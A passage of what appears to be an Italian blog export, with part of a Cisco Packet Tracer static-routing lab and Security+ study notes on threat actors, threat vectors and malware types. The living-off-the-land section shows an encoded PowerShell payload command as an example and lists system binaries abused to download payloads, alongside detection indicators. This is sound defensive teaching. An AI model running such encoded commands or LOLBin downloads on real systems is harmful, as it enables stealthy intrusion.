route [rete-destinazione] [maschera] [next-hop] Le rotte di ritorno (return routes) # La prima cosa che ho configurato su ogni router e' la rotta di ritorno verso Kali (192.168.64.0/24). Ogni router deve sapere come rimandare le risposte al mittente.\nMarco:\nip route 192.168.64.0 255.255.255.0 10.0.0.1 \u0026quot;Se qualcuno ti chiede di tornare a Kali, manda tutto ad Aldo (10.0.0.1).\u0026quot;\nSofia:\nip route 192.168.64.0 255.255.255.0 10.10.10.1 \u0026quot;Per tornare a Kali, chiedi a Marco (10.10.10.1).\u0026quot;\nLuca:\nip route 192.168.64.0 255.255.255.0 10.20.20.1 \u0026quot;Per tornare a Kali, chiedi a Sofia (10.20.20.1).\u0026quot;\nGiulia:\nip route 192.168.64.0 255.255.255.0 10.30.30.1 \u0026quot;Per tornare a Kali, chiedi a Luca (10.30.30.1).\u0026quot;\nLe rotte di andata (forward routes) # Le return routes non bastano. Aldo deve sapere come raggiungere Sofia, Luca, Giulia. Marco deve sapere come raggiungere Luca e Giulia. E cosi' via.\nAldo - rotte verso tutto cio' che sta oltre Marco:\nip route 10.10.10.0 255.255.255.252 10.0.0.2 ip route 10.20.20.0 255.255.255.252 10.0.0.2 ip route 10.30.30.0 255.255.255.252 10.0.0.2 Marco - rotte verso cio' che sta oltre Sofia:\nip route 10.20.20.0 255.255.255.252 10.10.10.2 ip route 10.30.30.0 255.255.255.252 10.10.10.2 Sofia - rotta verso cio' che sta oltre Luca:\nip route 10.30.30.0 255.255.255.252 10.20.20.2 Luca e Giulia non hanno bisogno di rotte di andata - Luca e' direttamente collegato a Giulia, e Giulia e' il capolinea.\nLa domanda giusta: perche' si ferma a Sofia? # Ho provato a pingare 10.20.20.1 (Sofia) da Kali. Errore. Ho provato 10.30.30.2 (Giulia). Errore.\nIl ping arrivava a Sofia e si bloccava.\nIl motivo: Marco non aveva la rotta verso 10.20.20.0/30. Avevo aggiunto solo 10.30.30.0 come forward route su Marco, dimenticando che per arrivare a Giulia il pacchetto passa fisicamente attraverso il link 10.20.20.0/30. Marco riceveva il pacchetto destinato a 10.20.20.1 e non sapeva dove mandarlo.\nAggiunta la rotta mancante su Marco, il ping a Sofia ha funzionato.\nCosa dice la tabella di routing # Il comando show ip route mostra tutto quello che un router conosce:\nC - Connected, la rete e' direttamente collegata a un'interfaccia S - Static, rotta configurata manualmente L - Local, l'IP esatto dell'interfaccia del router stesso Un router non conosce mai le reti lontane da solo. O e' Connected (ci ho un cavo) o e' Static (me lo hanno detto).\nNota GigabitEthernet0/1.10 nella colonna Connected - la subinterface VLAN 10 compare nella tabella di routing esattamente come un'interfaccia fisica.\nIl tag 802.1Q nel pacchetto # In modalita' Simulation, cliccando sul pacchetto mentre attraversa Marco si vede l'header Ethernet in uscita verso Sofia:\nEthernet 802.1q - il frame ha il tag VLAN TPID: 0x8100 - magic number del protocollo 802.1Q TCI: 0x000a - in decimale e' 10. VLAN 10. TTL: 126 - partito da 128, decrementato due volte (Aldo e Marco) Questo e' l'equivalente Cisco di veth-fw1-raw.10 in Linux: stessa struttura, stesso tag nel frame.\nIl TTL e i loop # Mi sono chiesto: cosa succede se le rotte sono configurate male e il pacchetto gira in loop tra due router?\nRisposta: il TTL (Time To Live). Ogni pacchetto nasce con un valore - tipicamente 64. Ogni router che lo attraversa decrementa il TTL di 1. Quando arriva a 0, il router scarta il pacchetto e manda un messaggio \u0026quot;TTL exceeded\u0026quot; al mittente.\nSenza TTL, un pacchetto perso in un loop girerebbe per sempre.\nIl ping finale # Kali pinga 10.30.30.2 (Giulia). Il pacchetto attraversa Aldo, Marco, Sofia, Luca e arriva a Giulia. La risposta torna per la stessa strada.\nIl viaggio di un singolo pacchetto ICMP:\nKali → Aldo (192.168.64.200 -\u0026gt; 10.0.0.1) Aldo → Marco (10.0.0.1 -\u0026gt; 10.0.0.2) Marco → Sofia (10.0.0.2 -\u0026gt; 10.10.10.2) Sofia → Luca (10.10.10.2 -\u0026gt; 10.20.20.2) Luca → Giulia (10.20.20.2 -\u0026gt; 10.30.30.2) Giulia risponde: Giulia → Luca (10.30.30.2 -\u0026gt; 10.30.30.1) Luca → Sofia (10.30.30.1 -\u0026gt; 10.20.20.1) Sofia → Marco (10.20.20.1 -\u0026gt; 10.10.10.1) Marco → Aldo (10.10.10.1 -\u0026gt; 10.0.0.1) Aldo → Kali (10.0.0.1 -\u0026gt; 192.168.64.200) Dieci hop. Tutti e dieci devono funzionare. Se uno solo non sa dove andare, il ping fallisce.\nCosa ho imparato # Le rotte statiche si configurano per differenza. Un router conosce gia' le reti a cui e' direttamente collegato (Connected). Aggiungo le statiche solo per quelle che non vede direttamente.\nOgni router ha piu' IP. Non esiste \u0026quot;l'IP di Marco\u0026quot; - esiste l'IP di Marco visto da Aldo e l'IP di Marco visto da Sofia. Sono due interfacce diverse, due indirizzi diversi.\nLe rotte devono funzionare in entrambe le direzioni. Non basta che il pacchetto arrivi - deve anche tornare. Per ogni router intermedio devo configurare sia la rotta di andata che quella di ritorno.\nPacket Tracer prima di Linux. Questo esercizio lo replico ora nei namespace Linux. Ma averlo visto qui, con le scatole fisiche e i cavi visibili, mi ha dato un modello mentale chiaro. In Linux non si vede niente - si devono immaginare le interfacce, i namespace, i link. Averli visti prima rende tutto piu' concreto.\nIl prossimo passo: stessa topologia, stesse rotte, ma con ip netns, ip route add, e ip_forward=1.\n","date":"7 giugno 2026","externalUrl":null,"permalink":"/blog/cisco-packet-tracer-cinque-router/","section":"Blog","summary":" TL;DR Un router conosce solo le reti a cui e' direttamente collegato. Tutto il resto va detto esplicitamente con rotte statiche Ogni router ha piu' IP - uno per ogni interfaccia. \"Marco e' 10.0.0.2\" e' incompleto: Marco e' anche 10.10.10.1 Le rotte statiche funzionano come indicazioni stradali: \"se vuoi andare la', chiedi a lui\" Se manca una rotta il pacchetto si ferma - il TTL serve esattamente per questo ▶ $ history ip route [rete] [maschera] [next-hop] - aggiunta rotta statica show ip route - tabella di routing corrente ping [ip] - test connettivita' end-to-end Prima di toccare Linux voglio vedere il routing con gli occhi. In Linux i namespace sono invisibili - sono processi, non oggetti fisici. In Cisco Packet Tracer posso vedere i router come scatole, i cavi come linee, e guardare i pacchetti muoversi.\n","title":"Cisco Packet Tracer: Cinque Router, Una Catena, Nessun GPS","type":"blog"},{"content":"","date":"7 giugno 2026","externalUrl":null,"permalink":"/tags/medio/","section":"Tags","summary":"","title":"Medio","type":"tags"},{"content":" mindmap root((Cap 6 Threat Actors Malware)) Threat Actors Nation-State APT · LotL techniques Organized Crime Hacktivist Insider Threat Intentional · Accidental Unskilled Attacker Script Kiddie Attributi Resources / Funding Sophistication Motivation Financial · Political · Espionage Threat Vectors Message-based Email · SMS · IM Image-based File-based Voice Call · Vishing Removable Device Supply Chain Network-based Application-based Malware Ransomware Trojan Worm Spyware · Adware Keylogger Rootkit Kernel · Bootkit Backdoor · RAT Logic Bomb Botnet · C2 Vulnerability Management Identification Assessment Remediation Reporting Threat Actors # mindmap root((THREAT ACTORS)) Tipologie Nation-State APT sponsorizzato governo risorse illimitate Organized Crime struttura gerarchica RaaS model Hacktivist causa ideologica visibilita pubblica Insider Threat accesso legittimo malicious o accidental Unskilled Attacker script kiddie tool altrui Attributi Chiave Internal vs External esterno = la maggioranza interno = piu' pericoloso per accesso Resources Funding nation-state illimitati script kiddie quasi zero Sophistication APT exploit custom zero-day unskilled Metasploit preconfigurato Exam Trap insider NON e entrato bucando aveva gia accesso legittimo bassa sofisticazione NON basso rischio script kiddie fa danno serio Il termine \u0026quot;threat actor\u0026quot; e' solo un nome piu' formale per \u0026quot;attaccante\u0026quot;: chiunque lanci un attacco informatico. La categoria determina motivazione, risorse e TTP usati.\nTipo Risorse Motivazione Sofisticazione Nation-State Altissime (governo) Spionaggio, sabotaggio politico Molto alta, APT per definizione Organized Crime Medie-alte Denaro (ransomware, frode) Alta, struttura aziendale Hacktivist Basse-medie Ideologia, causa politica Variabile Insider Threat Accesso diretto Vendetta, guadagno, errore Bassa-alta (dipende dall'accesso) Unskilled Attacker Basse Noia, ego, curiosita' Bassa (usa tool altrui) Competitor Medie Vantaggio competitivo Variabile Panoramica Comparativa # Tre categorie basate sull'asse Security+: origine interna o esterna + livello di risorse e sofisticazione. I sub-nodi per ogni attore sono: Chi e' / Risorse e Sofisticazione / Motivazione.\nEsterni ad Alta Risorse — Nation-State e Organized Crime # mindmap root((Esterni Alta Risorse)) Nation-State Chi e sponsorizzati da governo APT per definizione Risorse e Sofisticazione illimitate zero-day exploit custom evasion avanzata Motivazione spionaggio sabotaggio politico caso Lazarus Group 81M Bangladesh Bank Organized Crime Chi e struttura gerarchica come azienda leader manager esecutori Risorse e Sofisticazione medie-alte RaaS ransomware su scala Motivazione denaro caso Wizard Spider Ryuk ransomware Esterni a Basse Risorse — Hacktivist, Unskilled Attacker, Competitor # mindmap root((Esterni Basse Risorse)) Hacktivist Chi e attivista digitale causa ideologica o politica Risorse e Sofisticazione basse-medie variabile Motivazione visibilita e protesta caso The Yes Men sito falso BlackRock Unskilled Attacker Chi e script kiddie usa tool altrui senza capirli Risorse e Sofisticazione bassissime Metasploit preconfigurato Motivazione noia ego curiosita genera rumore di fondo su internet Competitor Chi e organizzazione in competizione spionaggio industriale Risorse e Sofisticazione medie OSINT + metodi illegali Motivazione vantaggio competitivo roadmap brevetti lista clienti Interni — Insider Threat Malicious e Accidental # mindmap root((Interni)) Insider Malicious Chi e dipendente o contractor accesso legittimo usato con dolo Risorse e Sofisticazione accesso diretto varia con il ruolo Motivazione vendetta guadagno ideologia caso Snowden 2013 NSA contractor Insider Accidental Chi e dipendente in buona fede non sa di creare rischio Risorse e Sofisticazione accesso legittimo bassa consapevolezza security Motivazione nessuna apre phishing porta USB manda file sbagliati Infografica # Nation-State # Sponsorizzati da un governo per avanzarne gli interessi. Sono la forma tipica di APT (Advanced Persistent Threat):\nAdvanced: usa tecniche sofisticate — exploit custom, zero-day, evasion avanzata. Non e' uno script kiddie con tool preconfezionati. Persistent: rimane dentro per mesi o anni senza farsi notare. L'obiettivo non e' fare danno immediato — e' restare, raccogliere, aspettare il momento giusto. Threat: e' una minaccia attiva e intenzionale con un mandato preciso, non malware casuale. Risorse illimitate, obiettivi precisi, persistenza lunga. Non attaccano a caso: hanno un mandato. I governi sponsor negano ufficialmente, ma la threat intelligence li ha documentati:\nRussia: Fancy Bear, Cozy Bear, Voodoo Bear, Venomous Bear Cina: PLA Unit 61398, Buckeye, Double Dragon Nord Corea: Ricochet Chollima, Lazarus Group Iran: Elfin Team, Helix Kitten, Charming Kitten Lazarus Group (Nord Corea) e' un caso esemplare: ha rubato 81 milioni di dollari alla Bangladesh Bank (2016) via SWIFT compromesso, e ha bucato Sony Pictures (2014) per impedire l'uscita di un film. Due obiettivi diversi (economico e politico) nello stesso threat actor.\nLiving-off-the-Land (LotL) # mindmap root((Living-off-the-Land LotL)) Cosa usa tool gia presenti nel sistema PowerShell WMI cmd.exe certutil bitsadmin regsvr32 nessun malware da installare Perche lo fa un APT signature-based AV non rileva il tool e legittimo behavioral detection difficile admin usa gli stessi tool nessuna traccia di file malevolo Indicatori PowerShell con encoding base64 WMI per lateral movement certutil per download da internet Difesa behavioral analytics baseline dei comandi legittimi Privileged Access Workstation PAW Gli APT nation-state non portano tool dall'esterno se possono evitarlo. Usano invece LOLBins (Living Off the Land Binaries): eseguibili gia' presenti nel sistema operativo che gli amministratori usano ogni giorno. PowerShell, WMI (Windows Management Instrumentation), certutil, bitsadmin, regsvr32 sono tutti strumenti legittimi — e tutti usati da attaccanti avanzati per scaricare payload, spostarsi lateralmente e mantenere la persistenza.\nPerche' e' efficace: un antivirus basato su signature non blocca powershell.exe — e' un binario legittimo firmato da Microsoft. Il comportamento (es. PowerShell che scarica ed esegue uno script da un URL esterno) e' tecnicamente identico a operazioni di amministrazione normale. Solo behavioral analytics con baseline di riferimento puo' distinguerlo.\nEsempio concreto: un attaccante con accesso iniziale esegue:\npowershell -encodedCommand \u0026lt;base64_payload\u0026gt; Il base64 nasconde il contenuto al log human-readable. Il processo lanciato e' powershell.exe — identico a centinaia di operazioni legittime nel task manager.\nVettore endpoint — tool di sistema usati come arma dopo l'accesso iniziale Causa tool amministrativi potenti e presenti di default su ogni sistema Windows Effetto voluto persistenza, lateral movement, esfiltrazione senza triggering di alert AV Difesa behavioral analytics, baseline di uso legittimo, limitare accesso a tool come PowerShell per utenti non-admin, PAW (Privileged Access Workstation) Indicatore PowerShell con parametri encoded, WMI chiamato da processi inusuali, certutil che contatta IP esterni, script execution da path temp CIA Triad Confidentiality (esfiltrazione) e Integrity (modifiche al sistema) senza violare la disponibilita' Scope rete interna — l'attaccante usa i tool di un sistema come pivot per espandersi Warning Exam trap: LotL NON e' un tipo di malware — e' una tecnica. Un APT che usa LotL non porta malware: usa quello che trova. Behavioral analytics e baseline deviation monitoring sono le uniche difese efficaci.\nOrganized Crime # Struttura gerarchica come una vera azienda (leader, manager, esecutori). Motivazione primaria: denaro. Qualsiasi attivita' puo' essere ricondotta alla cupidigia. Il modello dominante e' il ransomware, spesso via RaaS (Ransomware as a Service): il gruppo vende l'accesso al proprio ransomware ad affiliati in cambio di una percentuale del riscatto.\nCaso documentato: Wizard Spider (Russia) operava Ryuk ransomware contro ambienti enterprise. CrowdStrike ha ricostruito la gerarchia del gruppo con divisione dei ruoli e obiettivi economici chiari.\nUnskilled Attacker (Script Kiddie) # Usa script, exploit e tool gia' pronti senza capire come funzionano. Competenza tecnica bassa, budget minimo. Spesso citato come \u0026quot;teenager annoiato\u0026quot; ma l'eta' non e' il punto: e' la mancanza di comprensione, non l'anagrafe. Motivazione: noia, ego, curiosita', voler vedere cosa succede.\nBassa sofisticazione NON significa basso rischio: con Metasploit pre-configurato si puo' fare danno serio senza capire nulla. La maggior parte del rumore di fondo su Internet (port scan, brute force su SSH esposto) e' generata da script kiddie con tool automatici.\nHacktivist # Attacca per promuovere una causa, non per guadagno personale. Obiettivo: visibilita', protesta, danneggiare la reputazione del target per ragioni ideologiche. Legalmente e' comunque un attacco, indipendentemente dalla nobilta' della causa.\nCaso reale: The Yes Men (gennaio 2019) hanno creato un sito falso di BlackRock e rilasciato una lettera falsa del CEO con impegni climatici. Molte testate l'hanno riportata come vera. Nessun malware, pura disinformazione per una causa ambientale.\nInsider Threat # Chiunque abbia accesso legittimo alle risorse interne. La parola chiave e' \u0026quot;legittimo\u0026quot;: non e' entrato bucando un firewall, era gia' dentro. Il rischio e' determinato dall'accesso, non dalla competenza tecnica:\nMalicious insider: sa cosa sta facendo. Motivazione: vendetta, guadagno economico, ideologia. Esempio: Edward Snowden (2013), contractor NSA che ha esfiltrato documenti classificati. Non-malicious insider: agisce in buona fede. Apre un allegato phishing, porta dati su USB personale, manda file sbagliati. Non sa di creare un rischio. Un admin di sistema e' piu' pericoloso di un utente normale non perche' sia \u0026quot;ignorante\u0026quot; ma perche' ha accesso a piu' sistemi. DLP (Data Loss Prevention) e' il tool principale per monitorare e bloccare l'esfiltrazione, sia maliciosa che accidentale.\nCompetitor # Organizzazione in competizione economica che vuole informazioni proprietarie: roadmap, lista clienti, prezzi, brevetti, strategie. Non attacca per soldi diretti o ideologia: e' spionaggio industriale per guadagno competitivo.\nRaccogliere informazioni e' legale fino a un certo punto (OSINT: LinkedIn, comunicati stampa, database brevetti). I metodi illegali includono: dumpster diving (rovistare nei rifiuti fisici per trovare documenti non distrutti), assumere dipendenti di un competitor per estrarre informazioni interne, hacking diretto.\nAttacker Attributes # Tre attributi distinguono i diversi tipi di attaccante:\nAttributo Descrizione Esempio Internal vs External La maggior parte degli attaccanti e' esterna (nation-state, organized crime, hacktivist, script kiddie). L'insider threat e' interno e spesso piu' pericoloso perche' ha gia' accesso. Admin malicioso vs hacker da fuori Resources / Funding Quantita' di risorse economiche e umane disponibili. Determina che tipo di attacchi sono possibili: zero-day costano milioni. Nation-state: illimitati. Script kiddie: quasi zero. Sophistication / Capability Livello di competenza tecnica e qualita' dei tool usati. Alta sofisticazione = exploit custom, evasion avanzata, persistenza lunga. Bassa = tool scaricati da internet. APT vs script kiddie Exam tip CompTIA: \u0026quot;You need to know the major differences: internal vs external source, resources/funding, level of sophistication and capability.\u0026quot;\nThreat Actor Motivations # mindmap root((MOTIVATIONS)) Economiche Financial Gain ransomware frode furto credenziali organized crime Blackmail dati sensibili per estorsione organized crime insider Data Exfiltration IP clienti segreti nation-state competitor Politiche e Ideologiche Espionage intelligence strategica nation-state War infrastrutture critiche nation-state Philosophical Political causa ideologica hacktivist Operative Service Disruption DoS DDoS sabotaggio hacktivist nation-state Disruption Chaos disordine senza obiettivo preciso script kiddie hacktivist Personali Revenge torto percepito insider malicioso hacktivist Ethical bug bounty white hat penetration tester autorizzato Le motivazioni spiegano il \u0026quot;perche'\u0026quot; di un attacco. Sapere chi attacca aiuta a predire come. Questa lista e' richiesta dall'esame Security+ (Dominio 2.1):\nMotivazione Descrizione Threat actor tipico Data exfiltration Rubare informazioni (proprieta' intellettuale, dati clienti, segreti) Nation-state, competitor, organized crime Financial gain Denaro diretto: ransomware, frode, furto credenziali Organized crime Blackmail Ottenere informazioni sensibili per estorcere denaro o compliance Organized crime, insider malicioso Service disruption Rendere un servizio non disponibile (DoS/DDoS, sabotaggio) Hacktivist, nation-state (cyber warfare) Disruption / chaos Creare disordine e instabilita', non necessariamente per un obiettivo specifico Script kiddie, hacktivist Philosophical / political beliefs Avanzare un'ideologia o causa politica Hacktivist Espionage Raccogliere intelligence strategica su governi, aziende, militari Nation-state War Attacchi informatici come estensione della guerra tradizionale, contro infrastrutture critiche avversarie Nation-state Revenge Danneggiare chi si percepisce abbia fatto un torto Insider malicioso, hacktivist Ethical Identificare e segnalare vulnerabilita' per migliorare la sicurezza (white hat / ethical hacker) Bug bounty hunter, penetration tester autorizzato Exam tip: CompTIA vuole che tu conosca TUTTE queste motivazioni. La domanda tipo: \u0026quot;un attaccante vuole esporre pratiche aziendali scorrette attraverso un attacco informatico\u0026quot; = hacktivist con motivazione philosophical/political.\nThreat Vectors e Attack Surface # mindmap root((THREAT VECTORS)) Umani Message-based email SMS IM 91% attacchi parte da email Voice Call vishing VoIP caller ID falsificato File e Dispositivi File-based macro Word PDF utente abilita contenuto Image-based steganografia C2 nascosto in PNG Removable Device USB con malware bypass air-gap Infrastruttura Network-based WiFi WEP Bluetooth caso TJX 2007 Software-based client-based o agentless EOL senza patch Supply Chain fornitore fidato compromesso caso SolarWinds 2020 Attack Surface ridurre = compito del security engineer server inutilizzati da spegnere porte aperte da chiudere software EOL da aggiornare Threat vector: il percorso che un attaccante usa per accedere a computer e reti. Ogni vettore e' un modo diverso per arrivare alla vittima.\nAttack surface: l'insieme di TUTTI i vettori a cui un'organizzazione e' esposta. Ridurre l'attack surface e' uno dei compiti principali del security engineer: server inutilizzati da spegnere, porte aperte da chiudere, software EOL da aggiornare.\nPanoramica Comparativa # Tre categorie: vettori che sfruttano le persone, vettori che sfruttano file e dispositivi fisici, vettori che sfruttano l'infrastruttura di rete e software.\nVettori Umani — Message-based e Voice Call # mindmap root((Vettori Umani)) Message-based Cosa email SMS IM con link o allegato 91% degli attacchi parte da email Vettore phishing spear phishing whaling allegato con exploit o link drive-by Obiettivo credenziali o installazione malware caso RSA 2011 Excel con Flash zero-day Voice Call Cosa attacco social engineering via telefono vishing con VoIP Vettore caller ID falsificato impersonazione IT support o banca Obiettivo credenziali VPN o dati finanziari caso Twitter 2020 via finto IT interno Vettori File e Dispositivi — File, Image, Removable # mindmap root((File e Dispositivi)) File-based Cosa codice malevolo in documento Word PDF spreadsheet Vettore macro in allegato email utente abilita contenuto Obiettivo esecuzione codice sul sistema caso Emotet 2014 via macro Word Image-based Cosa codice nascosto in immagine steganografia Vettore immagine scaricata o visualizzata sembra traffico normale Obiettivo C2 nascosto nel payload visivo caso Turla APT PNG su siti legittimi Removable Device Cosa USB o hard disk con malware autorun o esecuzione manuale Vettore device trovato o consegnato fisicamente air-gap bypass Obiettivo infettare sistemi isolati da internet caso Stuxnet 2010 centrale Natanz Vettori Infrastruttura — Network, Software, Supply Chain # mindmap root((Infrastruttura)) Network-based Cosa debolezze nella rete stessa WiFi Bluetooth segmentazione assente Vettore sniffing su WiFi non cifrato WEP craccabile in minuti Obiettivo intercettare traffico e scalare caso TJX 2007 da parcheggio Software-based Cosa vulnerabilita nel software installato client-based o agentless Vettore exploit su app presente sul sistema SQL injection o XSS su web app Obiettivo esecuzione codice o accesso dati caso WannaCry EternalBlue SMBv1 Supply Chain Cosa compromette fornitore fidato MSP vendor software hardware Vettore aggiornamento legittimo ma infetto firmato digitalmente dal vendor Obiettivo raggiungere migliaia di target caso SolarWinds 2020 SUNBURST Infografica # Message-based # Email, SMS, IM con link o allegati malevoli. Gibson stima che il 91% degli attacchi parta da un'email. Varianti: phishing (generico), spear phishing (mirato), whaling (dirigenti).\nCaso reale: RSA Security (2011). Un dipendente riceve un'email con allegato Excel intitolato \u0026quot;2011 Recruitment plan.xls\u0026quot;. Il file contiene un Flash zero-day. Un click apre una backdoor. Risultato: compromessi i token SecurID usati da appaltatori della difesa USA. Costo: centinaia di milioni di dollari.\nImage-based # Codice malevolo nascosto in un'immagine tramite steganografia, o exploit in file immagine. Quando l'immagine viene scaricata o visualizzata, il codice viene eseguito.\nCaso reale: Turla APT (Russia) nascondeva le istruzioni C2 dentro immagini PNG pubblicate su siti legittimi (incluse gallery satellitari). Il malware sulla vittima scaricava l'immagine, estraeva i comandi dalla steganografia e li eseguiva. Il traffico sembrava normale download di immagini.\nFile-based # Codice malevolo in documenti apparentemente innocui: Word con macro, PDF con exploit, spreadsheet. Quando l'utente apre il file, il codice viene eseguito.\nCaso reale: Emotet (2014-2021) si diffondeva via email con allegati Word contenenti macro malevole. L'utente apriva il documento, vedeva un messaggio \u0026quot;Abilita il contenuto per visualizzare il documento\u0026quot; e cliccava. Emotet si installava e scaricava altri malware (TrickBot, Ryuk). Ha infettato milioni di sistemi in tutto il mondo.\nVoice call # Attacchi social engineering via telefono (vishing). L'attaccante impersona un'entita' fidata (IT support, banca, IRS) per ottenere credenziali o accesso.\nCaso reale: Twitter (luglio 2020). Attaccanti chiamarono dipendenti Twitter fingendo di essere l'IT interno, ottennero le credenziali VPN aziendali. Con quell'accesso compromissero account verificati di Barack Obama, Elon Musk, Joe Biden, Apple e altri per promuovere una truffa Bitcoin. 130 account compromessi, 120.000 dollari rubati in 24 ore. Attaccanti avevano 17, 19 e 22 anni.\nRemovable Device # USB drive, hard disk esterni carichi di malware. Quando il device viene collegato, il malware parte automaticamente (autorun) o viene eseguito dall'utente.\nCaso reale: Stuxnet (2010). Il malware aveva bisogno di entrare nella centrale nucleare di Natanz (Iran), completamente air-gapped (senza connessione a internet). Soluzione: USB drive infetti lasciati nelle aree circostanti. Un dipendente o un appaltatore ha collegato il drive. Stuxnet si e' propagato silenziosamente e ha sabotato le centrifughe di arricchimento dell'uranio distruggendole fisicamente mentre i monitor mostravano valori normali. Primo cyberweapon fisicamente distruttivo della storia.\nSoftware-based # Questo vettore riguarda vulnerabilita' nel software. Diviso in due sottocategorie che confondono:\nClient-based: la vulnerabilita' e' in un software installato sul dispositivo della vittima. L'attacco richiede che il software sia presente. Esempio: PDF malevolo che sfrutta un bug di Adobe Reader. Non e' il PDF in se' ad essere il problema, e' il Reader che lo apre. Analogia da developer: e' come un exploit in una libreria PHP che devi avere installata.\nAgentless: l'attacco colpisce direttamente una web application o un servizio, senza bisogno di nulla sul dispositivo dell'attaccante. SQL injection, XSS: il codice malevolo viene inviato al SERVER, non installato sul client. Agentless non significa \u0026quot;senza agente sul server\u0026quot; ma \u0026quot;senza software da installare sull'attaccante\u0026quot;.\nUnsupported software: software EOL (End of Life) che non riceve piu' patch. Quando esce un CVE, nessuna fix. Vulnerabilita' garantita senza rimedio.\nCaso reale: WannaCry (maggio 2017). Sfruttava EternalBlue (MS17-010), una vulnerabilita' in SMBv1 di Windows. Microsoft aveva rilasciato la patch (MS17-010) due mesi prima. Organizzazioni che non avevano aggiornato, incluse quelle con sistemi EOL (Windows XP), erano esposte. In 4 giorni: 200.000 sistemi in 150 paesi. NHS UK: 80 ospedali offline, operazioni cancellate, pazienti reindirizzati.\nNetwork-based # Attacchi che sfruttano debolezze nell'infrastruttura di rete: WiFi non cifrato, reti cablate non segmentate, Bluetooth vulnerabile.\nCaso reale: TJX Companies (2007). Attaccanti in un parcheggio vicino a un negozio Marshalls con antenne WiFi rilevarono una rete WEP (craccabile in minuti). Si connessero, sniffarono il traffico, scalarono fino alla rete corporate. Risultato: 45,7 milioni di numeri di carte di credito rubati. Danno stimato: oltre 250 milioni di dollari. Primo grande breach da WiFi pubblicamente documentato.\nSupply Chain # L'attaccante compromette un fornitore fidato (MSP, vendor software, hardware manufacturer) per raggiungere il target finale tramite quella relazione di fiducia. La vittima scarica un aggiornamento legittimo, ma l'aggiornamento e' gia' infetto.\nCaso reale: SolarWinds (2020). Attaccanti (APT29/Cozy Bear, Russia) sono entrati nel build environment di SolarWinds e hanno inserito una backdoor chiamata SUNBURST nel codice sorgente di Orion, il software di monitoring di rete usato da migliaia di aziende. L'aggiornamento e' stato firmato digitalmente da SolarWinds e distribuito regolarmente. 18.000+ organizzazioni hanno scaricato l'update infetto, tra cui NSA, Dipartimento del Tesoro USA, Microsoft, Cisco, Intel. Il breach e' rimasto nascosto per mesi. E' l'attacco supply-chain piu' documentato della storia.\nCaso reale 2: XZ Utils (2024). Un contributor (identita' falsa) ha lavorato per due anni sulla libreria di compressione XZ su Linux, guadagnando fiducia nei maintainer. Poi ha inserito una backdoor che avrebbe permesso accesso SSH root su sistemi Linux con systemd. Rilevato per caso da un developer Microsoft che notava rallentamenti in SSH. Se non fosse stato scoperto prima della distribuzione stabile avrebbe colpito praticamente ogni server Linux del mondo.\nShadow IT # mindmap root((SHADOW IT)) Definizione sistemi senza autorizzazione IT non necessariamente malevolo nasce da necessita pratica sistema approvato lento o assente Rischi nessun patching CVE critico senza fix nessuno sa che esiste nessun monitoraggio fuori dal SIEM fuori dai backup nessun firewall aziendale esposto su internet credenziali deboli Caso Reale Equifax 2017 Apache Struts sconosciuto allIT CVE-2017-5638 non patchata 147 milioni record rubati Exam Trap IT gestisce solo cio che conosce sistemi nascosti non aggiornati analogia AWS dimenticata Qualsiasi sistema, applicazione o servizio cloud usato in un'organizzazione senza autorizzazione dell'IT. Non e' necessariamente malevolo: spesso nasce da necessita' pratiche (il sistema approvato e' lento, macchinoso, non esiste ancora). Il problema e' che questi sistemi vivono fuori dal controllo IT: niente patch, niente backup, niente monitoraggio, niente firewall aziendale.\nPerche' aumenta il rischio: l'IT gestisce solo cio' che conosce. Sistemi nascosti non vengono aggiornati, non vengono inclusi nei backup, non vengono monitorati dal SIEM. Quando esce un CVE critico, la patch arriva su tutto tranne che sul server Shadow IT che nessuno sa che esiste.\nEsempio da developer: apri un account AWS personale per un test rapido, carichi file di progetto, finisci il test e ti dimentichi dell'istanza. L'IT non sa che esiste. Nessun firewall, nessun patching, probabilmente credenziali deboli. Sei andato via dall'azienda due anni fa: l'istanza gira ancora con dati aziendali dentro.\nCaso reale: Equifax (2017, 147 milioni di record rubati). Una delle cause root era un'applicazione Apache Struts che il team di sicurezza non sapeva esistesse. La vulnerabilita' CVE-2017-5638 era nota da marzo, patch disponibile da due mesi. L'app non e' mai stata patchata perche' nessuno sapeva che fosse in produzione. Risultato: la violazione piu' grande della storia dei dati finanziari USA.\nMalware # mindmap root((MALWARE)) Propagazione Virus aggancia host file richiede esecuzione utente Worm self-replicating autonomo nessun click necessario payload delivery o botnet Accesso e Controllo Trojan si maschera da software utile non si replica RAT Trojan con sessione live attaccante alla tastiera Rootkit kernel-level hooking nasconde se stesso allOS Furto Dati Spyware monitoraggio silenzioso ampio include keylogger Keylogger cattura ogni tasto hw o sw vanificato da 2FA Danno e Sabotaggio Ransomware cifra dati chiede riscatto RaaS model Logic Bomb dormiente fino al trigger vettore = insider malicioso Botnet rete zombie con C2 DDoS spam mining Software con intento malevolo. Non e' qualcosa che installi consapevolmente: viene installato sul sistema attraverso mezzi ingannevoli. Il termine \u0026quot;virus\u0026quot; viene usato colloquialmente per descrivere qualsiasi malware, ma e' impreciso: un virus e' un tipo specifico di malware. Malware include virus, worm, trojan, ransomware, rootkit, spyware, logic bomb e altro.\nSintomi tipici di infezione: sistema piu' lento, processi sconosciuti in esecuzione, email inviate senza azione dell'utente, riavvii casuali, comportamenti anomali generici.\nPrincipio chiave per l'esame: ogni tipo di malware ha indicatori diversi. Riconoscere gli indicatori aiuta a determinare il tipo di attacco, e quindi la risposta corretta.\nPanoramica Comparativa # Quattro categorie concettuali: come si propagano, come entrano e restano, cosa rubano, che danno fanno.\nPropagazione — Virus e Worm # mindmap root((Propagazione)) Virus Cosa aggancia un host file non gira da solo Vettore file eseguito dall utente USB autorun Obiettivo replica su altri file payload a tempo Worm Cosa self-replicating autonomo vive in memoria Vettore vulnerabilita SMB o OS nessun click richiesto Obiettivo propagazione = mezzo non fine fine: consegnare payload ransomware DDoS mining botnet Accesso e Controllo — Trojan, RAT, Backdoor, Rootkit # mindmap root((Accesso e Controllo)) Trojan Cosa software utile falso non si replica Vettore download o crack pirata drive-by download Obiettivo installare backdoor aprire la porta RAT Cosa Trojan con sessione live attaccante alla tastiera virtuale Vettore drive-by o pirated app Obiettivo controllo remoto totale webcam microfono schermo Backdoor Cosa porta remota persistente Vettore lasciata da Trojan o exploit Obiettivo rientro garantito senza ri-exploit Rootkit Cosa kernel-level con hooking si nasconde all OS Vettore exploit o installer compromesso Obiettivo backdoor C2 su porte non standard esfiltrazione dati e credenziali pivot verso sistemi interni Furto Dati — Spyware e Keylogger # mindmap root((Furto Dati)) Spyware Cosa monitoraggio 